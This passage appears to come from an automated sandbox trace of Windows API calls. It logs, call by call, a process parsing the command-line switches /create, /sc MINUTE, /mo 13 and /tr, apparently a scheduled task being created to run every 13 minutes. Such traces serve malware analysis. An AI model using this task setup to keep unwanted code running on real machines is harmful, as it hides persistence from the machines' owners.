_vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|create|") returned 8 [0136.723] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|sc|") returned 4 [0136.723] lstrlenW (lpString="|create|") returned 8 [0136.723] lstrlenW (lpString="|sc|") returned 4 [0136.723] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0136.723] SetLastError (dwErrCode=0x490) [0136.723] lstrlenW (lpString="?") returned 1 [0136.723] lstrlenW (lpString="?") returned 1 [0136.723] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.723] lstrlenW (lpString="sc") returned 2 [0136.723] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.723] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|?|") returned 3 [0136.723] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|sc|") returned 4 [0136.723] lstrlenW (lpString="|?|") returned 3 [0136.723] lstrlenW (lpString="|sc|") returned 4 [0136.723] SetLastError (dwErrCode=0x490) [0136.723] lstrlenW (lpString="s") returned 1 [0136.723] lstrlenW (lpString="s") returned 1 [0136.723] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.723] lstrlenW (lpString="sc") returned 2 [0136.723] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.723] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|s|") returned 3 [0136.723] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|sc|") returned 4 [0136.724] lstrlenW (lpString="|s|") returned 3 [0136.724] lstrlenW (lpString="|sc|") returned 4 [0136.724] SetLastError (dwErrCode=0x490) [0136.724] lstrlenW (lpString="u") returned 1 [0136.724] lstrlenW (lpString="u") returned 1 [0136.724] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.724] lstrlenW (lpString="sc") returned 2 [0136.724] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.724] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|u|") returned 3 [0136.724] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|sc|") returned 4 [0136.724] lstrlenW (lpString="|u|") returned 3 [0136.724] lstrlenW (lpString="|sc|") returned 4 [0136.724] SetLastError (dwErrCode=0x490) [0136.724] lstrlenW (lpString="p") returned 1 [0136.724] lstrlenW (lpString="p") returned 1 [0136.724] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.724] lstrlenW (lpString="sc") returned 2 [0136.724] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.724] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|p|") returned 3 [0136.724] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|sc|") returned 4 [0136.724] lstrlenW (lpString="|p|") returned 3 [0136.724] lstrlenW (lpString="|sc|") returned 4 [0136.724] SetLastError (dwErrCode=0x490) [0136.724] lstrlenW (lpString="ru") returned 2 [0136.724] lstrlenW (lpString="ru") returned 2 [0136.724] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.725] lstrlenW (lpString="sc") returned 2 [0136.725] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.725] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|ru|") returned 4 [0136.725] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|sc|") returned 4 [0136.725] lstrlenW (lpString="|ru|") returned 4 [0136.725] lstrlenW (lpString="|sc|") returned 4 [0136.725] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0136.725] SetLastError (dwErrCode=0x490) [0136.725] lstrlenW (lpString="rp") returned 2 [0136.725] lstrlenW (lpString="rp") returned 2 [0136.725] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.725] lstrlenW (lpString="sc") returned 2 [0136.725] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.725] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rp|") returned 4 [0136.725] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|sc|") returned 4 [0136.725] lstrlenW (lpString="|rp|") returned 4 [0136.725] lstrlenW (lpString="|sc|") returned 4 [0136.725] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0136.725] SetLastError (dwErrCode=0x490) [0136.725] lstrlenW (lpString="sc") returned 2 [0136.725] lstrlenW (lpString="sc") returned 2 [0136.725] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.725] lstrlenW (lpString="sc") returned 2 [0136.725] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.725] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|sc|") returned 4 [0136.726] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|sc|") returned 4 [0136.726] lstrlenW (lpString="|sc|") returned 4 [0136.726] lstrlenW (lpString="|sc|") returned 4 [0136.726] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0136.726] SetLastError (dwErrCode=0x0) [0136.726] SetLastError (dwErrCode=0x0) [0136.726] lstrlenW (lpString="MINUTE") returned 6 [0136.726] lstrlenW (lpString="-/") returned 2 [0136.726] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0136.726] SetLastError (dwErrCode=0x490) [0136.726] SetLastError (dwErrCode=0x490) [0136.726] SetLastError (dwErrCode=0x0) [0136.726] lstrlenW (lpString="MINUTE") returned 6 [0136.726] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0136.726] SetLastError (dwErrCode=0x490) [0136.726] SetLastError (dwErrCode=0x0) [0136.726] GetProcessHeap () returned 0x440000 [0136.726] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45d4c0 [0136.726] _memicmp (_Buf1=0x45d4c0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.726] lstrlenW (lpString="MINUTE") returned 6 [0136.726] GetProcessHeap () returned 0x440000 [0136.726] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xe) returned 0x45d580 [0136.726] lstrlenW (lpString="MINUTE") returned 6 [0136.726] lstrlenW (lpString=" \x09") returned 2 [0136.726] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0136.726] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0136.726] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0136.726] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0136.727] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0136.727] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0136.727] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0136.727] GetLastError () returned 0x0 [0136.727] lstrlenW (lpString="MINUTE") returned 6 [0136.727] lstrlenW (lpString="MINUTE") returned 6 [0136.727] SetLastError (dwErrCode=0x0) [0136.727] SetLastError (dwErrCode=0x0) [0136.727] lstrlenW (lpString="/mo") returned 3 [0136.727] lstrlenW (lpString="-/") returned 2 [0136.727] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0136.727] lstrlenW (lpString="create") returned 6 [0136.727] lstrlenW (lpString="create") returned 6 [0136.727] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.727] lstrlenW (lpString="mo") returned 2 [0136.727] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.727] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|create|") returned 8 [0136.727] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|mo|") returned 4 [0136.727] lstrlenW (lpString="|create|") returned 8 [0136.727] lstrlenW (lpString="|mo|") returned 4 [0136.727] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0136.727] SetLastError (dwErrCode=0x490) [0136.727] lstrlenW (lpString="?") returned 1 [0136.727] lstrlenW (lpString="?") returned 1 [0136.727] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.727] lstrlenW (lpString="mo") returned 2 [0136.727] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.728] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|?|") returned 3 [0136.728] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|mo|") returned 4 [0136.728] lstrlenW (lpString="|?|") returned 3 [0136.728] lstrlenW (lpString="|mo|") returned 4 [0136.728] SetLastError (dwErrCode=0x490) [0136.728] lstrlenW (lpString="s") returned 1 [0136.728] lstrlenW (lpString="s") returned 1 [0136.728] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.728] lstrlenW (lpString="mo") returned 2 [0136.728] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.728] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|s|") returned 3 [0136.728] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|mo|") returned 4 [0136.728] lstrlenW (lpString="|s|") returned 3 [0136.728] lstrlenW (lpString="|mo|") returned 4 [0136.728] SetLastError (dwErrCode=0x490) [0136.728] lstrlenW (lpString="u") returned 1 [0136.728] lstrlenW (lpString="u") returned 1 [0136.728] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.728] lstrlenW (lpString="mo") returned 2 [0136.728] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.728] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|u|") returned 3 [0136.728] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|mo|") returned 4 [0136.728] lstrlenW (lpString="|u|") returned 3 [0136.728] lstrlenW (lpString="|mo|") returned 4 [0136.728] SetLastError (dwErrCode=0x490) [0136.729] lstrlenW (lpString="p") returned 1 [0136.729] lstrlenW (lpString="p") returned 1 [0136.729] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.729] lstrlenW (lpString="mo") returned 2 [0136.729] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.729] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|p|") returned 3 [0136.729] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|mo|") returned 4 [0136.729] lstrlenW (lpString="|p|") returned 3 [0136.729] lstrlenW (lpString="|mo|") returned 4 [0136.729] SetLastError (dwErrCode=0x490) [0136.729] lstrlenW (lpString="ru") returned 2 [0136.729] lstrlenW (lpString="ru") returned 2 [0136.729] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.729] lstrlenW (lpString="mo") returned 2 [0136.729] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.729] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|ru|") returned 4 [0136.729] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|mo|") returned 4 [0136.729] lstrlenW (lpString="|ru|") returned 4 [0136.729] lstrlenW (lpString="|mo|") returned 4 [0136.729] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0136.729] SetLastError (dwErrCode=0x490) [0136.729] lstrlenW (lpString="rp") returned 2 [0136.729] lstrlenW (lpString="rp") returned 2 [0136.729] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.729] lstrlenW (lpString="mo") returned 2 [0136.729] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.730] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rp|") returned 4 [0136.730] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|mo|") returned 4 [0136.730] lstrlenW (lpString="|rp|") returned 4 [0136.730] lstrlenW (lpString="|mo|") returned 4 [0136.730] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0136.730] SetLastError (dwErrCode=0x490) [0136.730] lstrlenW (lpString="sc") returned 2 [0136.730] lstrlenW (lpString="sc") returned 2 [0136.730] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.730] lstrlenW (lpString="mo") returned 2 [0136.730] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.730] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|sc|") returned 4 [0136.730] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|mo|") returned 4 [0136.730] lstrlenW (lpString="|sc|") returned 4 [0136.730] lstrlenW (lpString="|mo|") returned 4 [0136.730] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0136.730] SetLastError (dwErrCode=0x490) [0136.730] lstrlenW (lpString="mo") returned 2 [0136.730] lstrlenW (lpString="mo") returned 2 [0136.730] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.730] lstrlenW (lpString="mo") returned 2 [0136.730] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.730] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|mo|") returned 4 [0136.730] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|mo|") returned 4 [0136.730] lstrlenW (lpString="|mo|") returned 4 [0136.731] lstrlenW (lpString="|mo|") returned 4 [0136.731] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0136.731] SetLastError (dwErrCode=0x0) [0136.731] SetLastError (dwErrCode=0x0) [0136.731] lstrlenW (lpString="13") returned 2 [0136.731] lstrlenW (lpString="-/") returned 2 [0136.731] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0136.731] SetLastError (dwErrCode=0x490) [0136.731] SetLastError (dwErrCode=0x490) [0136.731] SetLastError (dwErrCode=0x0) [0136.731] lstrlenW (lpString="13") returned 2 [0136.731] StrChrIW (lpStart="13", wMatch=0x3a) returned 0x0 [0136.731] SetLastError (dwErrCode=0x490) [0136.731] SetLastError (dwErrCode=0x0) [0136.731] _memicmp (_Buf1=0x45d4c0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.731] lstrlenW (lpString="13") returned 2 [0136.731] lstrlenW (lpString="13") returned 2 [0136.731] lstrlenW (lpString=" \x09") returned 2 [0136.731] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0136.731] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0136.731] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0136.731] GetLastError () returned 0x0 [0136.731] lstrlenW (lpString="13") returned 2 [0136.731] lstrlenW (lpString="13") returned 2 [0136.731] GetProcessHeap () returned 0x440000 [0136.731] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x6) returned 0x45b990 [0136.731] SetLastError (dwErrCode=0x0) [0136.731] SetLastError (dwErrCode=0x0) [0136.731] lstrlenW (lpString="/tr") returned 3 [0136.732] lstrlenW (lpString="-/") returned 2 [0136.732] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0136.732] lstrlenW (lpString="create") returned 6 [0136.732] lstrlenW (lpString="create") returned 6 [0136.732] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.732] lstrlenW (lpString="tr") returned 2 [0136.732] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.732] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|create|") returned 8 [0136.732] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tr|") returned 4 [0136.732] lstrlenW (lpString="|create|") returned 8 [0136.732] lstrlenW (lpString="|tr|") returned 4 [0136.732] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0136.732] SetLastError (dwErrCode=0x490) [0136.732] lstrlenW (lpString="?") returned 1 [0136.732] lstrlenW (lpString="?") returned 1 [0136.732] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.732] lstrlenW (lpString="tr") returned 2 [0136.732] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.732] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|?|") returned 3 [0136.732] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tr|") returned 4 [0136.732] lstrlenW (lpString="|?|") returned 3 [0136.732] lstrlenW (lpString="|tr|") returned 4 [0136.732] SetLastError (dwErrCode=0x490) [0136.732] lstrlenW (lpString="s") returned 1 [0136.732] lstrlenW (lpString="s") returned 1 [0136.732] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.733] lstrlenW (lpString="tr") returned 2 [0136.733] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.733] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|s|") returned 3 [0136.733] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tr|") returned 4 [0136.733] lstrlenW (lpString="|s|") returned 3 [0136.733] lstrlenW (lpString="|tr|") returned 4 [0136.733] SetLastError (dwErrCode=0x490) [0136.733] lstrlenW (lpString="u") returned 1 [0136.733] lstrlenW (lpString="u") returned 1 [0136.733] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.733] lstrlenW (lpString="tr") returned 2 [0136.733] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.733] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|u|") returned 3 [0136.733] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tr|") returned 4 [0136.733] lstrlenW (lpString="|u|") returned 3 [0136.733] lstrlenW (lpString="|tr|") returned 4 [0136.733] SetLastError (dwErrCode=0x490) [0136.733] lstrlenW (lpString="p") returned 1 [0136.733] lstrlenW (lpString="p") returned 1 [0136.733] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.733] lstrlenW (lpString="tr") returned 2 [0136.733] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.733] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|p|") returned 3 [0136.733] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tr|") returned 4 [0136.733] lstrlenW (lpString="|p|") returned 3 [0136.734] lstrlenW (lpString="|tr|") returned 4 [0136.734] SetLastError (dwErrCode=0x490) [0136.734] lstrlenW (lpString="ru") returned 2 [0136.734] lstrlenW (lpString="ru") returned 2 [0136.734] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.734] lstrlenW (lpString="tr") returned 2 [0136.734] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.734] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|ru|") returned 4 [0136.734] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tr|") returned 4 [0136.734] lstrlenW (lpString="|ru|") returned 4 [0136.734] lstrlenW (lpString="|tr|") returned 4 [0136.734] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0136.734] SetLastError (dwErrCode=0x490) [0136.734] lstrlenW (lpString="rp") returned 2 [0136.734] lstrlenW (lpString="rp") returned 2 [0136.734] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.734] lstrlenW (lpString="tr") returned 2 [0136.734] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.734] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rp|") returned 4 [0136.734] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tr|") returned 4 [0136.734] lstrlenW (lpString="|rp|") returned 4 [0136.734] lstrlenW (lpString="|tr|") returned 4 [0136.734] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0136.734] SetLastError (dwErrCode=0x490) [0136.734] lstrlenW (lpString="sc") returned 2 [0136.734] lstrlenW (lpString="sc") returned 2 [0136.735] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.735] lstrlenW (lpString="tr") returned 2 [0136.735] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.735] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|sc|") returned 4 [0136.735] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tr|") returned 4 [0136.735] lstrlenW (lpString="|sc|") returned 4 [0136.735] lstrlenW (lpString="|tr|") returned 4 [0136.735] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0136.735] SetLastError (dwErrCode=0x490) [0136.735] lstrlenW (lpString="mo") returned 2 [0136.735] lstrlenW (lpString="mo") returned 2 [0136.735] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.735] lstrlenW (lpString="tr") returned 2 [0136.735] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.735] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|mo|") returned 4 [0136.735] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tr|") returned 4 [0136.735] lstrlenW (lpString="|mo|") returned 4 [0136.735] lstrlenW (lpString="|tr|") returned 4 [0136.735] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0136.735] SetLastError (dwErrCode=0x490) [0136.735] lstrlenW (lpString="d") returned 1 [0136.735] lstrlenW (lpString="d") returned 1 [0136.735] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.735] lstrlenW (lpString="tr") returned 2 [0136.735] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.736] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|d|") returned 3 [0136.736] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tr|") returned 4 [0136.736] lstrlenW (lpString="|d|") returned 3 [0136.736] lstrlenW (lpString="|tr|") returned 4 [0136.736] SetLastError (dwErrCode=0x490) [0136.736] lstrlenW (lpString="m") returned 1 [0136.736] lstrlenW (lpString="m") returned 1 [0136.736] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.736] lstrlenW (lpString="tr") returned 2 [0136.736] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.736] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|m|") returned 3 [0136.736] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tr|") returned 4 [0136.736] lstrlenW (lpString="|m|") returned 3 [0136.736] lstrlenW (lpString="|tr|") returned 4 [0136.736] SetLastError (dwErrCode=0x490) [0136.736] lstrlenW (lpString="i") returned 1 [0136.736] lstrlenW (lpString="i") returned 1 [0136.736] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.736] lstrlenW (lpString="tr") returned 2 [0136.736] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.736] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|i|") returned 3 [0136.736] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tr|") returned 4 [0136.736] lstrlenW (lpString="|i|") returned 3 [0136.736] lstrlenW (lpString="|tr|") returned 4 [0136.736] SetLastError (dwErrCode=0x490) [0136.736] lstrlenW (lpString="tn") returned 2 [0136.737] lstrlenW (lpString="tn") returned 2 [0136.737] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.737] lstrlenW (lpString="tr") returned 2 [0136.737] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.737] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tn|") returned 4 [0136.737] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tr|") returned 4 [0136.737] lstrlenW (lpString="|tn|") returned 4 [0136.737] lstrlenW (lpString="|tr|") returned 4 [0136.737] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0136.737] SetLastError (dwErrCode=0x490) [0136.737] lstrlenW (lpString="tr") returned 2 [0136.737] lstrlenW (lpString="tr") returned 2 [0136.737] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.737] lstrlenW (lpString="tr") returned 2 [0136.737] _memicmp (_Buf1=0x45c1e0, 